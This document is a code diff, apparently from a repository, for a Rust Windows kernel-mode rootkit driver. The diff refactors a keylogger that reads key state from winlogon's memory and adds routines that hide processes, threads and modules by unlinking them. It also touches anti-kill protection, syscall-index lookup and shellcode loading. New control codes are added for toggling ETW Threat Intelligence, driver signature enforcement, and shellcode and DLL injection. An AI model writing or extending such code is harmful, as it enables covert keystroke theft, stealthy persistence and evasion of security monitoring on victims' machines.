core::ptr::copy_nonoverlapping(KEY_STATE.as_ptr(), KEY_PREVIOUS.as_mut_ptr(), 64);
|
||||
|
||||
if !initialize_winlogon_process() {
|
||||
@@ -74,7 +74,7 @@ unsafe fn update_key_state(address: *mut c_void) {
|
||||
let mut return_number = 0;
|
||||
MmCopyVirtualMemory(
|
||||
winlogon_eprocess.e_process,
|
||||
address,
|
||||
address as _,
|
||||
IoGetCurrentProcess(),
|
||||
KEY_STATE.as_ptr() as *mut c_void,
|
||||
size_of::<[u8; 64]>() as u64,
|
||||
@@ -151,7 +151,7 @@ pub unsafe extern "C" fn keylogger(_address: *mut c_void) {
|
||||
}
|
||||
|
||||
let mut interval = LARGE_INTEGER {
|
||||
QuadPart: -1 * (50 * 10000 as i64),
|
||||
QuadPart: -1 * -(50 * 10000_i64),
|
||||
};
|
||||
|
||||
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
|
||||
@@ -166,9 +166,9 @@ pub unsafe extern "C" fn keylogger(_address: *mut c_void) {
|
||||
/// # Returns
|
||||
/// `Option<PVOID>`: The address of the `gafAsyncKeyState` array if found, otherwise `None`.
|
||||
///
|
||||
unsafe fn get_gafasynckeystate_address() -> Option<PVOID> {
|
||||
unsafe fn get_gafasynckeystate_address() -> Option<*mut u8> {
|
||||
if !initialize_winlogon_process() {
|
||||
return None;
|
||||
return None
|
||||
}
|
||||
|
||||
let winlogon_eprocess = WINLOGON_EPROCESS.as_ref()?;
|
||||
@@ -183,20 +183,7 @@ unsafe fn get_gafasynckeystate_address() -> Option<PVOID> {
|
||||
// fffff4e1`18e41bb5 48 89 81 80 00 00 00 mov qword ptr [rcx+80h],rax
|
||||
let instructions = [0x48, 0x8B, 0x05];
|
||||
|
||||
if let Some(y) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) {
|
||||
let position = y + 3;
|
||||
let offset = function_bytes[position..position + 4]
|
||||
.try_into()
|
||||
.map(u32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
let new_base = function_address.cast::<u8>().offset((position + 4) as isize);
|
||||
let gaf_async_key_state = new_base.cast::<u8>().offset(offset as isize);
|
||||
|
||||
return Some(gaf_async_key_state as PVOID);
|
||||
}
|
||||
|
||||
None
|
||||
scan_for_pattern(function_address, &instructions, 3, 7, 0x200, u32::from_le_bytes)
|
||||
}
|
||||
|
||||
/// Sets the keylogger status.
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
// pub mod etw;
|
||||
pub mod etwti;
|
||||
pub mod keylogger;
|
||||
pub mod ioctls;
|
||||
// pub mod memory;
|
||||
pub mod ioctls;
|
||||
@@ -158,7 +158,7 @@ impl Module {
|
||||
return Err(STATUS_UNSUCCESSFUL);
|
||||
}
|
||||
|
||||
let dll_name = alloc::string::String::from_utf16_lossy(&buffer);
|
||||
let dll_name = alloc::string::String::from_utf16_lossy(buffer);
|
||||
if module_name.contains(&dll_name.to_lowercase()) {
|
||||
// Removes the module from the load order list
|
||||
Self::remove_link(&mut (*list_entry).InLoadOrderLinks);
|
||||
|
||||
@@ -32,13 +32,11 @@ static TARGET_PIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_
|
||||
///
|
||||
pub fn add_remove_process_toggle(process: *mut ProcessProtection) -> NTSTATUS {
|
||||
let pid = unsafe { (*process).pid };
|
||||
let status = if unsafe { (*process).enable } {
|
||||
if unsafe { (*process).enable } {
|
||||
add_target_pid(pid)
|
||||
} else {
|
||||
remove_target_pid(pid)
|
||||
};
|
||||
|
||||
status
|
||||
}
|
||||
}
|
||||
|
||||
/// Method for adding the list of processes that will have anti-kill / dumping protection.
|
||||
|
||||
@@ -177,7 +177,7 @@ impl Process {
|
||||
|
||||
/// Toggles the enumeration between hiding or protecting processes based on the options provided.
|
||||
///
|
||||
/// # Arguments
|
||||
/// # Parameters
|
||||
/// - `input_target`: Pointer to the enumeration information input structure.
|
||||
/// - `info_process`: Information structure of processes.
|
||||
/// - `information`: Pointer to a variable to store information size.
|
||||
@@ -186,23 +186,19 @@ impl Process {
|
||||
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
||||
///
|
||||
pub unsafe fn enumerate_process_toggle(input_target: *mut EnumerateInfoInput, info_process: *mut ProcessListInfo, information: &mut usize) -> NTSTATUS {
|
||||
let status;
|
||||
|
||||
match (*input_target).options {
|
||||
Options::Hide => {
|
||||
status = Self::enumerate_hide_processes(info_process, information);
|
||||
Self::enumerate_hide_processes(info_process, information)
|
||||
},
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
Options::Protection => {
|
||||
status = callback::enumerate_protection_processes(info_process, information);
|
||||
callback::enumerate_protection_processes(info_process, information)
|
||||
},
|
||||
#[cfg(feature = "mapper")]
|
||||
Options::Protection => {
|
||||
status = wdk_sys::STATUS_INVALID_DEVICE_REQUEST;
|
||||
wdk_sys::STATUS_INVALID_DEVICE_REQUEST;
|
||||
},
|
||||
}
|
||||
|
||||
status
|
||||
}
|
||||
|
||||
/// Enumerate Processes Hide.
|
||||
|
||||
@@ -234,10 +234,6 @@ pub unsafe fn enumerate_value_key(
|
||||
|
||||
/// Trait for accessing the object in registry information.
|
||||
pub trait RegistryInfo {
|
||||
///
|
||||
///
|
||||
///
|
||||
///
|
||||
fn get_object(&self) -> *mut c_void;
|
||||
}
|
||||
|
||||
|
||||
@@ -28,13 +28,11 @@ static TARGET_TIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_
|
||||
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
|
||||
pub fn add_remove_thread_toggle(process: *mut ThreadProtection) -> NTSTATUS {
|
||||
let tid = unsafe { (*process).tid };
|
||||
let status = if unsafe { (*process).enable } {
|
||||
if unsafe { (*process).enable } {
|
||||
add_target_tid(tid)
|
||||
} else {
|
||||
remove_target_tid(tid)
|
||||
};
|
||||
|
||||
status
|
||||
}
|
||||
}
|
||||
|
||||
/// Method for adding the list of threads that will have anti-kill / dumping protection.
|
||||
|
||||
@@ -64,13 +64,11 @@ impl Thread {
|
||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||
///
|
||||
pub unsafe fn thread_toggle(thread: *mut TargetThread) -> NTSTATUS {
|
||||
let status = if (*thread).enable {
|
||||
if (*thread).enable {
|
||||
Self::hide_thread(thread)
|
||||
} else {
|
||||
Self::unhide_thread(thread)
|
||||
};
|
||||
|
||||
status
|
||||
}
|
||||
}
|
||||
|
||||
/// Hides a thread by removing it from the list of active threads.
|
||||
@@ -220,23 +218,19 @@ impl Thread {
|
||||
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
|
||||
///
|
||||
pub unsafe fn enumerate_thread_toggle(input_target: *mut EnumerateInfoInput, info_process: *mut ThreadListInfo, information: &mut usize) -> NTSTATUS {
|
||||
let status;
|
||||
|
||||
match (*input_target).options {
|
||||
Options::Hide => {
|
||||
status = Self::enumerate_hide_threads(info_process, information);
|
||||
Self::enumerate_hide_threads(info_process, information)
|
||||
},
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
Options::Protection => {
|
||||
status = enumerate_protection_threads(info_process, information);
|
||||
enumerate_protection_threads(info_process, information)
|
||||
},
|
||||
#[cfg(feature = "mapper")]
|
||||
Options::Protection => {
|
||||
status = wdk_sys::STATUS_INVALID_DEVICE_REQUEST;
|
||||
},
|
||||
}
|
||||
|
||||
status
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,15 +1,11 @@
|
||||
use {
|
||||
obfstr::obfstr,
|
||||
ntapi::ntzwapi::ZwQuerySystemInformation,
|
||||
super::{get_process_by_name, pool::PoolMemory, process_attach::ProcessAttach},
|
||||
wdk_sys::{NT_SUCCESS, POOL_FLAG_NON_PAGED},
|
||||
crate::{process::Process, utils::SystemModuleInformation},
|
||||
core::{ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts},
|
||||
wdk_sys::{
|
||||
NT_SUCCESS, POOL_FLAG_NON_PAGED,
|
||||
},
|
||||
winapi::um::winnt::{
|
||||
RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64
|
||||
}
|
||||
core::{ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts},
|
||||
super::{get_process_by_name, pool::PoolMemory, process_attach::ProcessAttach},
|
||||
winapi::um::winnt::{RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64}
|
||||
};
|
||||
|
||||
/// Gets the base address of a specified module.
|
||||
@@ -99,16 +95,8 @@ pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -
|
||||
/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
|
||||
///
|
||||
pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
|
||||
let pid = match get_process_by_name(obfstr!("winlogon.exe")) {
|
||||
Some(p) => p,
|
||||
None => return None
|
||||
};
|
||||
|
||||
let target = match Process::new(pid) {
|
||||
Some(p) => p,
|
||||
None => return None
|
||||
};
|
||||
|
||||
let pid = get_process_by_name(obfstr!("winlogon.exe"))?;
|
||||
let target = Process::new(pid)?;
|
||||
let attach_process = ProcessAttach::new(target.e_process);
|
||||
|
||||
let dll_base = dll_base as usize;
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
use {
|
||||
obfstr::obfstr,
|
||||
handles::Handle,
|
||||
pool::PoolMemory,
|
||||
process_attach::ProcessAttach,
|
||||
crate::{includes::{structs::SystemModuleInformation, PsGetProcessPeb}, process::Process},
|
||||
@@ -10,7 +11,6 @@ use {
|
||||
ptr::{null_mut, read_unaligned},
|
||||
slice::from_raw_parts
|
||||
},
|
||||
handles::Handle,
|
||||
ntapi::{
|
||||
ntexapi::{
|
||||
SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION
|
||||
@@ -177,7 +177,7 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str)
|
||||
return None;
|
||||
}
|
||||
|
||||
let dll_name = alloc::string::String::from_utf16(&buffer).ok()?;
|
||||
let dll_name = alloc::string::String::from_utf16_lossy(buffer);
|
||||
if dll_name.to_lowercase().contains(module_name) {
|
||||
let dll_base = (*list_entry).DllBase as usize;
|
||||
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
|
||||
@@ -379,7 +379,7 @@ pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
|
||||
return Err(status);
|
||||
}
|
||||
|
||||
return Ok(shellcode)
|
||||
Ok(shellcode)
|
||||
}
|
||||
|
||||
/// Responsible for returning information on the modules loaded.
|
||||
|
||||
@@ -1,19 +1,39 @@
|
||||
use {
|
||||
obfstr::obfstr,
|
||||
super::{address::get_module_base_address, InitializeObjectAttributes},
|
||||
super::{
|
||||
address::get_module_base_address,
|
||||
InitializeObjectAttributes,
|
||||
},
|
||||
core::{
|
||||
ffi::{c_void, CStr}, mem::{size_of, zeroed},
|
||||
ptr::{null_mut, read}, slice::from_raw_parts
|
||||
},
|
||||
winapi::um::winnt::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER},
|
||||
wdk_sys::{
|
||||
NT_SUCCESS,
|
||||
ntddk::{ZwClose, ZwMapViewOfSection, ZwOpenSection, ZwUnmapViewOfSection},
|
||||
ntddk::{
|
||||
ZwClose, ZwMapViewOfSection, ZwOpenSection,
|
||||
ZwUnmapViewOfSection
|
||||
},
|
||||
LARGE_INTEGER, OBJ_CASE_INSENSITIVE, PAGE_READONLY, SECTION_MAP_READ,
|
||||
SECTION_QUERY, _SECTION_INHERIT::ViewUnmap
|
||||
SECTION_QUERY, _SECTION_INHERIT::ViewUnmap, NT_SUCCESS
|
||||
},
|
||||
winapi::um::winnt::{
|
||||
IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
|
||||
IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER
|
||||
},
|
||||
};
|
||||
|
||||
fn slice_to_number<T, const N: usize>(slice: &[u8], func: fn([u8; N]) -> T) -> Result<T, &'static str> {
|
||||
if slice.len() != N {
|
||||
return Err("Slice length mismatch");
|
||||
}
|
||||
|
||||
// Converts the slice to an array of N bytes
|
||||
let array: [u8; N] = slice.try_into().map_err(|_| "Slice length mismatch")?;
|
||||
|
||||
// Converts the byte array to the desired type
|
||||
Ok(func(array))
|
||||
}
|
||||
|
||||
/// Scans memory for a specific pattern of bytes in a specific section.
|
||||
/// # Parameters
|
||||
/// - `base_addr`: The base address (in `usize` format) from which the scan should start.
|
||||
@@ -23,28 +43,29 @@ use {
|
||||
/// # Returns
|
||||
/// - `Option<*const u8>`: The address of the target function if found.
|
||||
///
|
||||
pub unsafe fn scan_for_pattern(base_addr: usize, section_name: &str, pattern: &[u8]) -> Option<*const u8> {
|
||||
let dos_header = base_addr as *const IMAGE_DOS_HEADER;
|
||||
let nt_header = (base_addr + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
||||
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
|
||||
pub unsafe fn scan_for_pattern<T, const N: usize>(
|
||||
function_address: *mut c_void,
|
||||
pattern: &[u8],
|
||||
offset: usize,
|
||||
final_offset: isize,
|
||||
size: usize,
|
||||
func: fn([u8; N]) -> T,
|
||||
) -> Option<*mut u8>
|
||||
where
|
||||
T: Into<i64>,
|
||||
{
|
||||
let function_bytes = from_raw_parts(function_address as *const u8, size);
|
||||
|
||||
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
|
||||
let section = (*section_header.add(i)).Name;
|
||||
let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0');
|
||||
|
||||
if name == section_name {
|
||||
let section_start = base_addr + (*section_header.add(i)).VirtualAddress as usize;
|
||||
let section_size = *(*section_header.add(i)).Misc.VirtualSize() as usize;
|
||||
let data = core::slice::from_raw_parts(section_start as *const u8, section_size);
|
||||
if let Some(x) = function_bytes.windows(pattern.len()).position(|x| x == pattern) {
|
||||
let position = x + offset;
|
||||
let offset: T = slice_to_number(&function_bytes[position..position + N], func).ok()?;
|
||||
|
||||
if let Some(offset) = data.windows(pattern.len()).position(|window| {
|
||||
window.iter().zip(pattern).all(|(d, p)| *p == 0xCC || *d == *p)
|
||||
}) {
|
||||
return Some((section_start + offset) as *const u8);
|
||||
}
|
||||
}
|
||||
let address = function_address.cast::<u8>().offset(x as isize);
|
||||
let next_address = address.offset(final_offset);
|
||||
Some(next_address.offset(offset.into() as isize))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Finds the address of a specified Zw function.
|
||||
@@ -96,7 +117,7 @@ pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
|
||||
}
|
||||
}
|
||||
|
||||
return None
|
||||
None
|
||||
}
|
||||
|
||||
/// Retrieves the syscall index for a given function name.
|
||||
@@ -151,9 +172,7 @@ pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
|
||||
let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
||||
let ordinal = ordinals[i as usize] as usize;
|
||||
let address = (ntdll_addr + functions[ordinal] as usize) as *const u8;
|
||||
if name == function_name {
|
||||
|
||||
if read(address) == 0x4C
|
||||
if name == function_name && read(address) == 0x4C
|
||||
&& read(address.add(1)) == 0x8B
|
||||
&& read(address.add(2)) == 0xD1
|
||||
&& read(address.add(3)) == 0xB8
|
||||
@@ -168,10 +187,9 @@ pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
|
||||
ZwClose(section_handle);
|
||||
return Some(ssn);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
|
||||
ZwClose(section_handle);
|
||||
return None
|
||||
None
|
||||
}
|
||||
@@ -31,6 +31,9 @@ pub const IOCTL_ENABLE_DSE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x811, METHOD_N
|
||||
// Keylogger
|
||||
pub const IOCTL_KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
|
||||
// ETWTI
|
||||
pub const IOCTL_ETWTI: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x827, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
|
||||
// Callbacks
|
||||
pub const IOCTL_ENUMERATE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x813, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_REMOVE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x814, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
@@ -52,4 +55,3 @@ pub const IOCTL_INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN,
|
||||
pub const IOCTL_INJECTION_SHELLCODE_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x824, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_INJECTION_DLL_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x825, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_INJECTION_DLL_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x826, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
pub const IOCTL_TESTE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x827, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||
@@ -36,6 +36,13 @@ pub struct Keylogger {
|
||||
pub enable: bool
|
||||
}
|
||||
|
||||
// ETWTI
|
||||
#[repr(C)]
|
||||
#[derive(Debug)]
|
||||
pub struct ETWTI {
|
||||
pub enable: bool
|
||||
}
|
||||
|
||||
// Input for information that needs to be listed
|
||||
#[repr(C)]
|
||||
pub struct EnumerateInfoInput {
|
||||
|
||||
Reference in New Issue
Block a user